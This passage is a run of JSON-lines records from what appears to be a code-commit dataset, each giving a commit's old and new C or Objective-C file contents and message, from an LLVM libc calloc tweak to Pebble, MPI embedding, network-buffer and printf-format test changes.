root,abhinavmoudgil95\/root,tc3t\/qoot,evgeny-boger\/root,kirbyherm\/root-r-tools,abhinavmoudgil95\/root,pspe\/root,mkret2\/root,cxx-hep\/root-cern,mkret2\/root,veprbl\/root,buuck\/root,gganis\/root,mkret2\/root"} {"commit":"b49fa616d47a39193c59d610964276ddb1df732a","old_file":"runtime\/GCCLibraries\/libc\/memory.c","new_file":"runtime\/GCCLibraries\/libc\/memory.c","old_contents":"\/\/===-- memory.c - String functions for the LLVM libc Library ----*- C -*-===\/\/\n\/\/ \n\/\/ A lot of this code is ripped gratuitously from glibc and libiberty.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \n\nvoid *malloc(size_t) __attribute__((weak));\nvoid free(void *) __attribute__((weak));\nvoid *memset(void *, int, size_t) __attribute__((weak));\nvoid *calloc(size_t nelem, size_t elsize) __attribute__((weak));\n\nvoid *calloc(size_t nelem, size_t elsize) {\n void *Result = malloc(nelem*elsize);\n return memset(Result, 0, nelem*elsize);\n}\n","new_contents":"\/\/===-- memory.c - String functions for the LLVM libc Library ----*- C -*-===\/\/\n\/\/ \n\/\/ A lot of this code is ripped gratuitously from glibc and libiberty.\n\/\/\n\/\/===---------------------------------------------------------------------===\/\/\n\n#include \n\n\/\/ If we're not being compiled with GCC, turn off attributes. Question is how\n\/\/ to handle overriding of memory allocation functions in that case.\n#ifndef __GNUC__\n#define __attribute__(X)\n#endif\n \n\/\/ For now, turn off the weak linkage attribute on Mac OS X.\n#if defined(__GNUC__) && defined(__APPLE_CC__)\n#define __ATTRIBUTE_WEAK__\n#elif defined(__GNUC__)\n#define __ATTRIBUTE_WEAK__ __attribute__((weak))\n#else\n#define __ATTRIBUTE_WEAK__\n#endif\n\nvoid *malloc(size_t) __ATTRIBUTE_WEAK__;\nvoid free(void *) __ATTRIBUTE_WEAK__;\nvoid *memset(void *, int, size_t) __ATTRIBUTE_WEAK__;\nvoid *calloc(size_t nelem, size_t elsize) __ATTRIBUTE_WEAK__;\n\nvoid *calloc(size_t nelem, size_t elsize) {\n void *Result = malloc(nelem*elsize);\n return memset(Result, 0, nelem*elsize);\n}\n","subject":"Disable __attribute__((weak)) on Mac OS X and other lame platforms.","message":"Disable __attribute__((weak)) on Mac OS X and other lame platforms.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@10489 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm"} {"commit":"127cab2cc7e9b6f474d4768b173af630d8b81840","old_file":"runtime\/libprofile\/EdgeProfiling.c","new_file":"runtime\/libprofile\/EdgeProfiling.c","old_contents":"","new_contents":"\/*===-- EdgeProfiling.c - Support library for edge profiling --------------===*\\\n|*\n|* The LLVM Compiler Infrastructure\n|*\n|* This file was developed by the LLVM research group and is distributed under\n|* the University of Illinois Open Source License. See LICENSE.TXT for details.\n|* \n|*===----------------------------------------------------------------------===*|\n|* \n|* This file implements the call back routines for the edge profiling\n|* instrumentation pass. This should be used with the -insert-edge-profiling\n|* LLVM pass.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"Profiling.h\"\n#include \n\nstatic unsigned *ArrayStart;\nstatic unsigned NumElements;\n\n\/* EdgeProfAtExitHandler - When the program exits, just write out the profiling\n * data.\n *\/\nstatic void EdgeProfAtExitHandler() {\n \/* Note that if this were doing something more intellegent with the\n instrumentation, that we could do some computation here to expand what we\n collected into simple edge profiles. Since we directly count each edge, we\n just write out all of the counters directly.\n *\/\n write_profiling_data(Edge, ArrayStart, NumElements);\n}\n\n\n\/* llvm_start_edge_profiling - This is the main entry point of the edge\n * profiling library. It is responsible for setting up the atexit handler.\n *\/\nint llvm_start_edge_profiling(int argc, const char **argv,\n unsigned *arrayStart, unsigned numElements) {\n int Ret = save_arguments(argc, argv);\n ArrayStart = arrayStart;\n NumElements = numElements;\n atexit(EdgeProfAtExitHandler);\n return Ret;\n}\n","subject":"Add edge profiling support to the runtime library","message":"Add edge profiling support to the runtime library\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@12227 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm"} {"commit":"99cfb3fab40afe555fc0c84292630d04f10301ce","old_file":"tests\/regression\/36-octapron\/42-threadenter-arg.c","new_file":"tests\/regression\/36-octapron\/42-threadenter-arg.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include \n#include \n\nvoid *t_fun(int arg) {\n assert(arg == 3); \/\/ TODO (cast through void*)\n return NULL;\n}\n\nint main(void) {\n int x = 3;\n\n pthread_t id;\n pthread_create(&id, NULL, t_fun, x);\n\n return 0;\n}\n","subject":"Add octApron test where thread function has tracked arg","message":"Add octApron test where thread function has tracked arg\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"24663de702224e464ac5036ddea96f4cc070f090","old_file":"TrackingControllerDefs.h","new_file":"TrackingControllerDefs.h","old_contents":"\/\/\n\/\/ TrackingControllerDefs.h\n\/\/\n\/\/ Created by Matt Martel on 02\/20\/09\n\/\/ Copyright Mundue LLC 2008-2011. All rights reserved.\n\/\/\n\n\/\/ Create an account at http:\/\/www.flurry.com\n\/\/ Code and integration instructions at\n\/\/ http:\/\/dev.flurry.com\/createProjectSelectPlatform.do\n#define USES_FLURRY\n#define kFlurryAPIKey @\"YOUR_FLURRY_API_KEY\"\n\n\/\/ Create an account at http:\/\/www.localytics.com\n\/\/ Code and integration instructions at\n\/\/ http:\/\/wiki.localytics.com\/doku.php\n#define USES_LOCALYTICS\n#define kLocalyticsAppKey @\"YOUR_LOCALITICS_APP_KEY\"\n\n\/\/ Create an account at http:\/\/www.google.com\/analytics\n\/\/ Code and integration instructions at\n\/\/ http:\/\/code.google.com\/mobile\/analytics\/docs\/iphone\/\n#define USES_GANTRACKER\n#define kGANAccountIDKey @\"YOUR_GOOGLE_ANALYTICS_ACCOUNT_ID\"\n#define kGANCategoryKey @\"YOUR_APP_NAME\"","new_contents":"\/\/\n\/\/ TrackingControllerDefs.h\n\/\/\n\/\/ Created by Matt Martel on 02\/20\/09\n\/\/ Copyright Mundue LLC 2008-2011. All rights reserved.\n\/\/\n\n\/\/ Create an account at http:\/\/www.flurry.com\n\/\/ Code and integration instructions at\n\/\/ http:\/\/dev.flurry.com\/createProjectSelectPlatform.do\n\/\/ Uncomment the following two lines to use Flurry\n\/\/#define USES_FLURRY\n\/\/#define kFlurryAPIKey @\"YOUR_FLURRY_API_KEY\"\n\n\/\/ Create an account at http:\/\/www.localytics.com\n\/\/ Code and integration instructions at\n\/\/ http:\/\/wiki.localytics.com\/doku.php\n\/\/ Uncomment the following two lines to use Localytics\n\/\/#define USES_LOCALYTICS\n\/\/#define kLocalyticsAppKey @\"YOUR_LOCALITICS_APP_KEY\"\n\n\/\/ Create an account at http:\/\/www.google.com\/analytics\n\/\/ Code and integration instructions at\n\/\/ http:\/\/code.google.com\/mobile\/analytics\/docs\/iphone\/\n\/\/ Uncomment the following three lines to use Google Analytics\n\/\/#define USES_GANTRACKER\n\/\/#define kGANAccountIDKey @\"YOUR_GOOGLE_ANALYTICS_ACCOUNT_ID\"\n\/\/#define kGANCategoryKey @\"YOUR_APP_NAME\"","subject":"Comment out services by default","message":"Comment out services by default\n","lang":"C","license":"mit","repos":"mundue\/MMTrackingController"} {"commit":"a1649d151f681dc4b3d8d65fabc5bedee80b3e0e","old_file":"driver\/ioexpander_pca9555.h","new_file":"driver\/ioexpander_pca9555.h","old_contents":"","new_contents":"\/* Copyright 2017 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * NXP PCA9555 I\/O Port expander driver header\n *\/\n\n#ifndef __CROS_EC_IOEXPANDER_PCA9555_H\n#define __CROS_EC_IOEXPANDER_PCA9555_H\n\n#include \"i2c.h\"\n\n#define PCA9555_CMD_INPUT_PORT_0\t\t0\n#define PCA9555_CMD_INPUT_PORT_1\t\t1\n#define PCA9555_CMD_OUTPUT_PORT_0\t\t2\n#define PCA9555_CMD_OUTPUT_PORT_1\t\t3\n#define PCA9555_CMD_POLARITY_INVERSION_PORT_0\t4\n#define PCA9555_CMD_POLARITY_INVERSION_PORT_1\t5\n#define PCA9555_CMD_CONFIGURATION_PORT_0\t6\n#define PCA9555_CMD_CONFIGURATION_PORT_1\t7\n\n#define PCA9555_IO_0\t(1 << 0)\n#define PCA9555_IO_1\t(1 << 1)\n#define PCA9555_IO_2\t(1 << 2)\n#define PCA9555_IO_3\t(1 << 3)\n#define PCA9555_IO_4\t(1 << 4)\n#define PCA9555_IO_5\t(1 << 5)\n#define PCA9555_IO_6\t(1 << 6)\n#define PCA9555_IO_7\t(1 << 7)\n\nstatic inline int pca9555_read(int port, int addr, int reg, int *data_ptr)\n{\n\treturn i2c_read8(port, addr, reg, data_ptr);\n}\n\nstatic inline int pca9555_write(int port, int addr, int reg, int data)\n{\n\treturn i2c_write8(port, addr, reg, data);\n}\n\n#endif \/* __CROS_EC_IOEXPANDER_PCA9555_H *\/\n","subject":"Add driver header for PCA9555 I\/O port controller","message":"driver: Add driver header for PCA9555 I\/O port controller\n\nBUG=b:64394037\nBRANCH=glkrvp\nTEST=Manually tested on GLKRVP, i2cxfer works\n\nChange-Id: If65e5039987ecbb7fa2a3a5eeeef5af6d73ab66a\nSigned-off-by: Vijay Hiremath <006c712879a3af08bfdb5c2b8491a8b2d5fd73cd@intel.com>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/603987\nCommit-Ready: Vijay P Hiremath <006c712879a3af08bfdb5c2b8491a8b2d5fd73cd@intel.com>\nTested-by: Vijay P Hiremath <006c712879a3af08bfdb5c2b8491a8b2d5fd73cd@intel.com>\nReviewed-by: Aaron Durbin \nReviewed-by: Aseda Aboagye <12c9b286316a940fd31c24070da5ab64cdd4d0e7@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"} {"commit":"be6731907e49267c90782990833b71513d3ae7f6","old_file":"solutions\/uri\/1061\/1061.c","new_file":"solutions\/uri\/1061\/1061.c","old_contents":"","new_contents":"#include \n\nint main() {\n int d, dd, h, hh, m, mm, s, ss;\n\n scanf(\"Dia %d\", &d);\n scanf(\"%d : %d : %d\\n\", &h, &m, &s);\n scanf(\"Dia %d\", &dd);\n scanf(\"%d : %d : %d\", &hh, &mm, &ss);\n\n s = ss - s;\n m = mm - m;\n h = hh - h;\n d = dd - d;\n\n if (s < 0) {\n s += 60;\n m--;\n }\n\n if (m < 0) {\n m += 60;\n h--;\n }\n\n if (h < 0) {\n h += 24;\n d--;\n }\n\n printf(\"%d dia(s)\\n\", d);\n printf(\"%d hora(s)\\n\", h);\n printf(\"%d minuto(s)\\n\", m);\n printf(\"%d segundo(s)\\n\", s);\n\n return 0;\n}\n","subject":"Solve Event Time in c","message":"Solve Event Time in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"} {"commit":"dc6eb0cb921f9b92a234145877fc8036b224df29","old_file":"tests\/test_lexlines.c","new_file":"tests\/test_lexlines.c","old_contents":"","new_contents":"\/* Tests for preprocessor rules, comments, line continuations, etc.*\/\n\n#include \/\/ comment\n#include \/\/ comment\n\n#include \/\/ comment \\\n\tcomment\nREGULAR LINE\n\n#include \/\/ comment \\\n\nREGULAR LINE\n\n#include \\\n\n\n\n#define macro \/\/ comment \\\n\tcomment\n#define macro() \/* block comment \\\n\tcomment *\/ body \\\n#define NOT_A_NAME, still the body \\\n\tvoid not_a_function(void) {}\n\n#define exprintf(expr, \\\n\t\t\/* optional *\/ msg...) \\\n\t__exprintf(#expr, \\\n\t\t(int) (expr), \\\n\t\t\"%s: %d\\n\" msg)\n#define __exprintf(str_expr, \\\n\t\texpr, fmt, args...) \\\n\tprintf(fmt, \\\n\t\tstr_expr, expr, ##args)\n\n#if 0\n#define COMMENT\ncomment\n#endif\n\n\/\/ comment \\\n\/\/ comment \\\nstill a comment\nREGULAR LINE\n\n\/\/ comment \/* block *\/ comment\n\n#assert <- DEPRECATED\n#sdfasd <- INVALID\n#line\n","subject":"Add a test for line-based rules","message":"lex-continuation: Add a test for line-based rules\n\nI.e. # preprocessor directives, \/\/ line comments, \\ line continuations\nand their inter-op.\n","lang":"C","license":"mit","repos":"abusalimov\/SublimeCImproved,abusalimov\/SublimeCImproved"} {"commit":"e4f4ddadac119535f6cd7e1eb612f3de35100516","old_file":"include\/tasks\/train_master.h","new_file":"include\/tasks\/train_master.h","old_contents":"\n#ifndef __TRAIN_MASTER_H__\n#define __TRAIN_MASTER_H__\n\nvoid __attribute__ ((noreturn)) train_master();\n\ntypedef enum {\n MASTER_CHANGE_SPEED,\n MASTER_REVERSE, \/\/ step 1\n MASTER_REVERSE2, \/\/ step 2 (used by delay courier)\n MASTER_REVERSE3, \/\/ step 3 (used by delay courier)\n MASTER_WHERE_ARE_YOU,\n MASTER_STOP_AT_SENSOR,\n MASTER_GOTO_LOCATION,\n MASTER_DUMP_VELOCITY_TABLE,\n\n MASTER_UPDATE_FEEDBACK_THRESHOLD,\n MASTER_UPDATE_FEEDBACK_ALPHA,\n MASTER_UPDATE_STOP_OFFSET,\n MASTER_UPDATE_CLEARANCE_OFFSET,\n\n MASTER_ACCELERATION_COMPLETE,\n MASTER_NEXT_NODE_ESTIMATE,\n\n MASTER_SENSOR_FEEDBACK,\n MASTER_UNEXPECTED_SENSOR_FEEDBACK\n} master_req_type;\n\ntypedef struct {\n master_req_type type;\n int arg1;\n int arg2;\n int arg3;\n} master_req;\n\n#endif\n","new_contents":"\n#ifndef __TRAIN_MASTER_H__\n#define __TRAIN_MASTER_H__\n\nvoid __attribute__ ((noreturn)) train_master();\n\ntypedef enum {\n MASTER_CHANGE_SPEED,\n MASTER_REVERSE, \/\/ step 1\n MASTER_REVERSE2, \/\/ step 2 (used by delay courier)\n MASTER_REVERSE3, \/\/ step 3 (used by delay courier)\n MASTER_WHERE_ARE_YOU,\n MASTER_STOP_AT_SENSOR,\n MASTER_GOTO_LOCATION,\n MASTER_DUMP_VELOCITY_TABLE,\n\n MASTER_UPDATE_FEEDBACK_THRESHOLD,\n MASTER_UPDATE_FEEDBACK_ALPHA,\n MASTER_UPDATE_STOP_OFFSET,\n MASTER_UPDATE_CLEARANCE_OFFSET,\n\n MASTER_ACCELERATION_COMPLETE,\n MASTER_NEXT_NODE_ESTIMATE,\n\n MASTER_SENSOR_FEEDBACK,\n MASTER_UNEXPECTED_SENSOR_FEEDBACK\n} master_req_type;\n\ntypedef struct {\n master_req_type type;\n int arg1;\n int arg2;\n} master_req;\n\n#endif\n","subject":"Remove unused argument space from master req","message":"Remove unused argument space from master req","lang":"C","license":"mit","repos":"ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme"} {"commit":"61797de177d095713049cbd8c4f830cc5d0c7045","old_file":"BotKit\/BotKit.h","new_file":"BotKit\/BotKit.h","old_contents":"\/\/\n\/\/ BotKit.h\n\/\/ BotKit\n\/\/\n\/\/ Created by Mark Adams on 9\/28\/12.\n\/\/ Copyright (c) 2012 thoughtbot. All rights reserved.\n\/\/\n\n#import \"BKCoreDataManager.h\"\n#import \"BKManagedViewController.h\"\n#import \"BKManagedTableViewController.h\"\n#import \"NSObject+BKCoding.h\"\n#import \"NSArray+ObjectAccess.h\"\n#import \"NSDate+RelativeDates.h\"\n#import \"UIColor+AdjustColor.h\"\n#import \"UIColor+Serialization.h\"\n\n\/* \n\nTODOS:\n \nBKImageLoader\n -imageWithContentsOfURL:completionHandler:\n -imageWithContentsOFURLPath:completionHandler:\n\nUIImage:\n +imageWithContentsOfURLPath:\n \nNSURLRequest:\n +requestWithString:\n +requestWithURL:\n \nNSDate:\n -dateStringWithFormat:\n -dateStringWithStyle:\n \n*\/\n \n\n","new_contents":"\/\/\n\/\/ BotKit.h\n\/\/ BotKit\n\/\/\n\/\/ Created by Mark Adams on 9\/28\/12.\n\/\/ Copyright (c) 2012 thoughtbot. All rights reserved.\n\/\/\n\n#import \"BKCoreDataManager.h\"\n#import \"BKManagedViewController.h\"\n#import \"BKManagedTableViewController.h\"\n#import \"NSObject+BKCoding.h\"\n#import \"NSArray+ObjectAccess.h\"\n#import \"NSDate+RelativeDates.h\"\n#import \"UIColor+AdjustColor.h\"\n#import \"UIColor+Serialization.h\"\n#import \"NSData+Base64Encoding.h\"\n\n\/* \n\nTODOS:\n \nBKImageLoader\n -imageWithContentsOfURL:completionHandler:\n -imageWithContentsOFURLPath:completionHandler:\n\nUIImage:\n +imageWithContentsOfURLPath:\n \nNSURLRequest:\n +requestWithString:\n +requestWithURL:\n \nNSDate:\n -dateStringWithFormat:\n -dateStringWithStyle:\n \n*\/\n \n\n","subject":"Add NSData+Base64Encoding.h to main header","message":"Add NSData+Base64Encoding.h to main header\n","lang":"C","license":"mit","repos":"thoughtbot\/BotKit,thoughtbot\/BotKit"} {"commit":"f3e611c9e373a0147be472cb7913f3604baf2a08","old_file":"log.c","new_file":"log.c","old_contents":"#include \"log.h\"\n#include \"timeutil.h\"\n#include \n#include \n#include \n#include \n#include \n\nstatic bool flushAfterLog = false;\n\nvoid proxyLogSetFlush(bool enabled)\n{\n flushAfterLog = enabled;\n}\n\nvoid proxyLog(const char* format, ...)\n{\n va_list args;\n\n va_start(args, format);\n\n printTimeString();\n printf(\" \");\n vprintf(format, args);\n printf(\"\\n\");\n\n if (flushAfterLog)\n {\n fflush(stdout);\n }\n\n va_end(args);\n}\n","new_contents":"#include \"log.h\"\n#include \"timeutil.h\"\n#include \n#include \n#include \n#include \n#include \n\nstatic bool flushAfterLog = false;\n\nvoid proxyLogSetFlush(bool enabled)\n{\n flushAfterLog = enabled;\n}\n\nvoid proxyLog(const char* format, ...)\n{\n va_list args;\n\n va_start(args, format);\n\n printTimeString();\n putchar(' ');\n vprintf(format, args);\n putchar('\\n');\n\n if (flushAfterLog)\n {\n fflush(stdout);\n }\n\n va_end(args);\n}\n","subject":"Use putchar instead of printf.","message":"Use putchar instead of printf.\n","lang":"C","license":"mit","repos":"aaronriekenberg\/openbsd_cproxy,aaronriekenberg\/openbsd_cproxy"} {"commit":"ad9cd9bfff8f0b7428c68ba02857a5789d8c3b77","old_file":"demo\/embedding\/helloworld.c","new_file":"demo\/embedding\/helloworld.c","old_contents":"#include \n#include \n#include \n\nconst char helloworld[] = \\\n \"from mpi4py import MPI\t\t\t\t \\n\"\n \"hwmess = 'Hello, World! I am process %d of %d on %s.' \\n\"\n \"myrank = MPI.COMM_WORLD.Get_rank()\t\t\t \\n\"\n \"nprocs = MPI.COMM_WORLD.Get_size()\t\t\t \\n\"\n \"procnm = MPI.Get_processor_name()\t\t\t \\n\"\n \"print (hwmess % (myrank, nprocs, procnm)) \\n\"\n \"\";\n\nint main(int argc, char *argv[])\n{\n int ierr, rank, size;\n\n ierr = MPI_Init(&argc, &argv);\n ierr = MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n ierr = MPI_Comm_size(MPI_COMM_WORLD, &size);\n\n MPI_Barrier(MPI_COMM_WORLD);\n Py_Initialize();\n PyRun_SimpleString(helloworld);\n Py_Finalize();\n MPI_Barrier(MPI_COMM_WORLD);\n\n if (rank == 0) {\n printf(\"\\n\");\n fflush(stdout);\n fflush(stderr);\n }\n\n MPI_Barrier(MPI_COMM_WORLD);\n Py_Initialize();\n PyRun_SimpleString(helloworld);\n Py_Finalize();\n MPI_Barrier(MPI_COMM_WORLD);\n\n ierr = MPI_Finalize();\n return 0;\n}\n","new_contents":"\/* \n * You can use safely use mpi4py between multiple \n * Py_Initialize()\/Py_Finalize() calls ...\n * but do not blame me for the memory leaks ;-)\n *\n *\/\n\n#include \n#include \n\nconst char helloworld[] = \\\n \"from mpi4py import MPI\t\t\t\t \\n\"\n \"hwmess = 'Hello, World! I am process %d of %d on %s.' \\n\"\n \"myrank = MPI.COMM_WORLD.Get_rank()\t\t\t \\n\"\n \"nprocs = MPI.COMM_WORLD.Get_size()\t\t\t \\n\"\n \"procnm = MPI.Get_processor_name()\t\t\t \\n\"\n \"print (hwmess % (myrank, nprocs, procnm)) \\n\"\n \"\";\n\nint main(int argc, char *argv[])\n{\n int i,n=5;\n\n MPI_Init(&argc, &argv);\n\n for (i=0; i\nconstexpr Size sizeof_t()\n{\n return gsl::narrow(sizeof Object);\n}\n\ntemplate \nconstexpr Size sizeof_t(const Value& value)\n{\n return gsl::narrow(sizeof value);\n}\n\n} \/\/ namespace mmh\n","new_contents":"#pragma once\n\nnamespace mmh {\n\ntemplate \nconstexpr Size sizeof_t()\n{\n return gsl::narrow(sizeof(Object));\n}\n\ntemplate \nconstexpr Size sizeof_t(const Value& value)\n{\n return gsl::narrow(sizeof value);\n}\n\n} \/\/ namespace mmh\n","subject":"Add missing brackets needed for Clang","message":"Add missing brackets needed for Clang\n\n","lang":"C","license":"bsd-3-clause","repos":"reupen\/mmh,reupen\/mmh"} {"commit":"2953f13d4dd38f06ae52ff09532bc2e401c46738","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include \n#include \"pebcessing\/pebcessing.h\"\n\n\nstatic Window *window = NULL;\n\n\nstatic void init(void)\n{\n window = window_create();\n\n window_set_fullscreen(window, true);\n\n window_stack_push(window, true);\n}\n\nstatic void deinit(void)\n{\n window_destroy(window);\n}\n\nint main(void)\n{\n init();\n\n init_pebcessing(window, window_get_root_layer(window));\n\n app_event_loop();\n\n deinit_pebcessing();\n\n deinit();\n\n return 0;\n}\n","new_contents":"#include \n#include \"pebcessing\/pebcessing.h\"\n\n\nstatic Window *window = NULL;\n\n\nstatic void init(void)\n{\n window = window_create();\n\n\/\/ Make the window fullscreen.\n\/\/ All Windows are fullscreen-only on the Basalt platform.\n#ifdef PBL_PLATFORM_APLITE\n window_set_fullscreen(window, true);\n#endif\n\n window_stack_push(window, true);\n}\n\nstatic void deinit(void)\n{\n window_destroy(window);\n}\n\nint main(void)\n{\n init();\n\n init_pebcessing(window, window_get_root_layer(window));\n\n app_event_loop();\n\n deinit_pebcessing();\n\n deinit();\n\n return 0;\n}\n","subject":"Change so that window_set_fullscreen() is called only on the Aplite platform","message":"Change so that window_set_fullscreen() is called only on the Aplite platform\n","lang":"C","license":"mit","repos":"hikoLab\/pebcessing,hikoLab\/pebcessing,itosue\/pebcessing,itosue\/pebcessing,hikoLab\/pebcessing,itosue\/pebcessing"} {"commit":"fe59f3886ddc97f26e2bbad5039302aa7061a918","old_file":"include\/skbuff.h","new_file":"include\/skbuff.h","old_contents":"#ifndef SKBUFF_H_\n#define SKBUFF_H_\n\n#include \"netdev.h\"\n#include \"dst.h\"\n#include \"list.h\"\n#include \n\nstruct sk_buff {\n struct list_head list;\n struct dst_entry *dst;\n struct netdev *netdev;\n uint16_t protocol;\n uint32_t len;\n uint8_t *tail;\n uint8_t *end;\n uint8_t *head;\n uint8_t *data;\n};\n\nstruct sk_buff_head {\n struct list_head head;\n\n uint32_t qlen;\n pthread_mutex_t lock;\n};\n\nstruct sk_buff *alloc_skb(unsigned int size);\nvoid free_skb(struct sk_buff *skb);\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len);\nuint8_t *skb_head(struct sk_buff *skb);\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len);\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst);\n\nstatic inline void skb_queue_init(struct sk_buff_head *list)\n{\n list_init(&list->head);\n list->qlen = 0;\n pthread_mutex_init(&list->lock, NULL);\n}\n\n#endif\n","new_contents":"#ifndef SKBUFF_H_\n#define SKBUFF_H_\n\n#include \"netdev.h\"\n#include \"dst.h\"\n#include \"list.h\"\n#include \n\nstruct sk_buff {\n struct list_head list;\n struct dst_entry *dst;\n struct netdev *netdev;\n uint16_t protocol;\n uint32_t len;\n uint8_t *tail;\n uint8_t *end;\n uint8_t *head;\n uint8_t *data;\n};\n\nstruct sk_buff_head {\n struct list_head head;\n\n uint32_t qlen;\n pthread_mutex_t lock;\n};\n\nstruct sk_buff *alloc_skb(unsigned int size);\nvoid free_skb(struct sk_buff *skb);\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len);\nuint8_t *skb_head(struct sk_buff *skb);\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len);\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst);\n\nstatic inline uint32_t skb_queue_len(const struct sk_buff_head *list)\n{\n return list->qlen;\n}\n\nstatic inline void skb_queue_init(struct sk_buff_head *list)\n{\n list_init(&list->head);\n list->qlen = 0;\n pthread_mutex_init(&list->lock, NULL);\n}\n\n#endif\n","subject":"Add skb queue length getter","message":"Add skb queue length getter\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"} {"commit":"e64c4a9d47aafaa59bbc42ab7b6ad7b3c0e76cb8","old_file":"test\/format\/precision_fieldwidth.c","new_file":"test\/format\/precision_fieldwidth.c","old_contents":"","new_contents":"\/\/ RUN: %check --only --prefix=linux %s -target x86_64-linux\n\/\/ RUN: %check --prefix=darwin %s -target x86_64-darwin\n\nint printf(const char *, ...)\n\t__attribute((format(printf, 1, 2)));\n\ntypedef unsigned long size_t;\ntypedef long ptrdiff_t;\ntypedef unsigned long uintptr_t;\ntypedef long intptr_t;\n\nint main()\n{\n\t\/\/ TODO:\n\t\/\/ [ ] test all these\n\t\/\/ [ ] truncations part way\n\t\/\/ [ ] bad length modifiers\n\n\t\/\/ modifiers: \"#0- +'\"\n\t\/\/ field width: 0-9 | *\n\t\/\/ precision: . ( 0-9 | * )\n\t\/\/ length modifiers: 'h' 'l' 'L' 'j' 't' 'z'\n\t\/\/ format char\n\t\/\/ %m on {,non-}linux\n\n\tprintf(\"%#f\", 5.2f);\n\tprintf(\"%0f\", 5.2f);\n\tprintf(\"%-f\", 5.2f);\n\tprintf(\"% f\", 5.2f);\n\tprintf(\"%+f\", 5.2f);\n\tprintf(\"%'f\", 5.2f);\n\tprintf(\"%#0' +f\", 21.f);\n\n\tprintf(\"%23d\", 5);\n\tprintf(\"%35a\", 5.2);\n\tprintf(\"%35.a\", 5.2);\n\tprintf(\"%*.g\", 3, 5.2);\n\tprintf(\"%'.*g\", 3, 5.2);\n\tprintf(\"%#2.*g\", 3, 5.2);\n\tprintf(\"%+*.1e\", 3, 5.2);\n\n\tprintf(\"%m\\n\"); \/\/ CHECK-darwin: warning: %m used on non-linux system\n\n\tprintf(\"%+*.1q\", 3, 5.2); \/\/ CHECK-linux: warning: invalid conversion character\n\n\tprintf(\"%#\"); \/\/ CHECK-linux: warning: invalid modifier character\n\n\tprintf(\"%23\"); \/\/ CHECK-linux: warning: invalid field width\n\tprintf(\"%35.\"); \/\/ CHECK-linux: warning: incomplete format specifier (missing precision)\n\tprintf(\"%*\"); \/\/ CHECK-linux: warning: invalid field width\n\tprintf(\"%'.*\"); \/\/ CHECK-linux: warning: invalid precision\n\tprintf(\"%+*.1\"); \/\/ CHECK-linux: warning: invalid precision\n}\n","subject":"Test precision and field-width format handling","message":"Test precision and field-width format handling\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"} 